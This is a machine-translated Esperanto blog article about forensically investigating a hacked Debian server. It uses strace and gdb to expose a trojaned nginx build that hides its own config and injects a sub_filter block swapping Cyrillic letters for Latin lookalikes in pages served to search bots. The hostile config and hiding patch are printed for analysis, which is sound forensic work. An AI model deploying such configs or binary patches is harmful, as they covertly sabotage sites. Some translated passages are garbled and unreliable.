Kiam 'a' ne egalas al 'a'. En la maldormo de hako

Plej malagrabla historio okazis al unu el miaj amikoj. Sed kiel ajn malagrabla ĝi montriĝis por Miĥail, ĝi estis same distra por mi.

Mi devas diri, ke mia amiko estas sufiĉe UNIKSO-uzanto: povas mem instali la sistemon mysql, php kaj faru simplajn agordojn nginx.
Kaj li havas dekduon aŭ unu kaj duonon retejojn dediĉitajn al konstruaj iloj.

Unu el ĉi tiuj retejoj dediĉitaj al ĉensegiloj sidas firme en la TOP de serĉiloj. Ĉi tiu retejo estas nekomerca recenzisto, sed iu ekkutimiĝis ataki ĝin. Tio DDoS, tiam krudforto, tiam ili skribos obscenajn komentojn kaj sendos misuzoj al la gastiganto kaj al la RKN.
Subite, ĉio trankviliĝis kaj ĉi tiu trankvilo montriĝis ne bona, kaj la retejo komencis iom post iom forlasi la suprajn liniojn de la serĉrezultoj.

Kiam 'a' ne egalas al 'a'. En la maldormo de hako

Tio estis diro, tiam la fabelo de la administranto mem.

Jam alproksimiĝis al la enlitiĝo, kiam la telefono sonoris: “Sano, ĉu vi ne rigardos mian servilon? Ŝajnas al mi, ke mi estis hakita, mi ne povas pruvi tion, sed la sento ne forlasis min dum la tria semajno. Eble estas nur tempo por mi ricevi kuracadon kontraŭ paranojo?”

Sekvis duonhora diskuto, kiu povas esti resumita jene:

  • la grundo por hakado estis sufiĉe fekunda;
  • atakanto povus akiri superuzantrajtojn;
  • la atako (se ĝi okazis) estis celita specife ĉe ĉi tiu retejo;
  • problemaj areoj estis korektitaj kaj vi nur bezonas kompreni ĉu estis iu penetrado;
  • la hako ne povis influi la retejo-kodon kaj datumbazojn.

Pri la lasta punkto.

Kiam 'a' ne egalas al 'a'. En la maldormo de hako

Nur la blanka fasado IP rigardas eksteren en la mondon. Ne ekzistas interŝanĝo inter la backends kaj la fasado krom http(j), la uzantoj/pasvortoj estas malsamaj, neniuj ŝlosiloj estis interŝanĝitaj. Sur grizaj adresoj, ĉiuj havenoj krom 80/443 estas fermitaj. Blankaj backend IP-oj estas konataj nur de du uzantoj, kiujn Miĥail tute fidas.

Instalita sur la fasado Debian 9 kaj kiam la voko estas farita, la sistemo estas izolita de la mondo per ekstera fajroŝirmilo kaj haltita.

"Bone, donu al mi aliron," mi decidas prokrasti dormon dum horo. "Mi vidos per miaj propraj okuloj."

Ĉi tie kaj plu:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Serĉante eblan hakon

Mi startas la servilon, unue en sav-reĝimo. Mi muntas la diskojn kaj foliumas ilin aŭtor-ŝtipoj, historio, sistemaj protokoloj ktp., se eble, mi kontrolas la datojn de kreado de dosieroj, kvankam mi komprenas, ke normala krakisto estus "balainta" post si, kaj Misha jam multe "tretis" dum li serĉis sin. .

Mi komencas en normala reĝimo, ankoraŭ ne vere komprenante kion serĉi, mi studas la agordojn. Antaŭ ĉio, mi interesiĝas nginx ĉar, ĝenerale, estas nenio alia sur la fasado krom ĝi.
La agordoj estas malgrandaj, bone strukturitaj en dekduon dosierojn, mi nur trarigardas ilin kato'ho unu post la alia. Ĉio ŝajnas esti pura, sed oni neniam scias ĉu mi maltrafis ion inkluzivi, lasu min fari plenan liston:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Mi ne komprenis: "Kie estas la listo?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Dua demando estas aldonita al la lista demando: "Kial tia antikva versio de nginx?"

Krome, la sistemo kredas, ke la plej nova versio estas instalita:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Mi vokas:
- Miŝa, kial vi rekunmetis nginx?
- Vekiĝu, mi eĉ ne scias kiel fari tion!
- Bone, nu, iru dormi...

Nginx ĝi estas klare rekonstruita kaj la eligo de la listo uzante "-T" estas kaŝita ial. Ne plu estas duboj pri hakado kaj vi povas simple akcepti ĝin kaj (ĉar Misha anstataŭigis la servilon per nova ĉiukaze) konsideri la problemon solvita.

Kaj efektive, ĉar iu ricevis la rajtojn radikon— Ha, tiam estas nur senco fari sistemo reinstalo, kaj estis senutile serĉi tion, kio estis malbone tie, sed ĉi-foje scivolemo venkis dormon. Kiel ni povas ekscii, kion ili volis kaŝi de ni?

Ni provu spuri:

$ strace nginx -T

Ni rigardas ĝin, estas klare ne sufiĉe da linioj en la spuro a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Nur por amuzo, ni komparu la trovojn.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mi pensas, ke parto de la kodo /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

estis alportita al la formo:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

tial la listo per "-T" ne estas montrata.

Sed kiel ni povas vidi nian agordon?

Se mia penso estas ĝusta kaj la problemo estas nur en la variablo ngx_dump_config ni provu instali ĝin uzante gdb, feliĉe estas ŝlosilo --kun-cc-opt -g prezentu kaj esperas tiun optimumigo -O2 ĝi ne difektos nin. Samtempe, ĉar mi ne scias kiel ngx_dump_config povus esti procesita en kazo 'T':, ni ne nomos ĉi tiun blokon, sed instalos ĝin uzante kazo 't':

Kial vi povas uzi '-t' same kiel '-T'Bloka Pretigo if(ngx_dump_config) okazas interne if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Kompreneble, se la kodo estas ŝanĝita en ĉi tiu parto kaj ne en kazo 'T':, tiam mia metodo ne funkcios.

Testu nginx.confJam eksperimente solvinte la problemon, oni konstatis, ke necesas minimuma agordo por ke la malware funkciu nginx tajpu:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Ni uzos ĝin por koncizeco en la artikolo.

Lanĉu la erarserĉilon

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Paŝon post paŝo:

  • starigu rompopunkton en la funkcio ĉefa ()
  • lanĉi la programon
  • ŝanĝi la valoron de la variablo kiu determinas la eligon de la agordo ngx_dump_config=1
  • daŭrigi/fini la programon

Kiel ni povas vidi, la vera agordo diferencas de la nia, ni elektas parazitan pecon el ĝi:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ni rigardu kio okazas ĉi tie en ordo.

Determinita Uzanto-Agentoestas yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Servaj paĝoj estas ekskluditaj wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Kaj por tiuj, kiuj falas sub ambaŭ el la supraj kondiĉoj

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

en la teksto html-paĝoj ŝanĝiĝas 'O' sur 'o' и 'A' sur 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ĝuste, la sola subtileco estas tio 'a' != 'a' ĝuste kiel 'o' != 'o':

Kiam 'a' ne egalas al 'a'. En la maldormo de hako

Tiel, serĉmotorbotoj ricevas, anstataŭ normala 100% cirila teksto, modifitan rubon diluitan per la latina 'a' и 'o'. Mi ne kuraĝas diskuti kiel ĉi tio influas SEO, sed estas neverŝajne, ke tia miksaĵo da leteroj havos pozitivan efikon sur pozicioj en la serĉrezultoj.

Kion mi povas diri, infanoj kun imago.

referencoj

Sencimigado per GDB
gdb(1) — Linukso-man paĝo
strace(1) — Linukso-man paĝo
Nginx - Modulo ngx_http_sub_module
Pri segiloj, ĉensegiloj kaj elektraj segiloj

fonto: www.habr.com

Aldoni komenton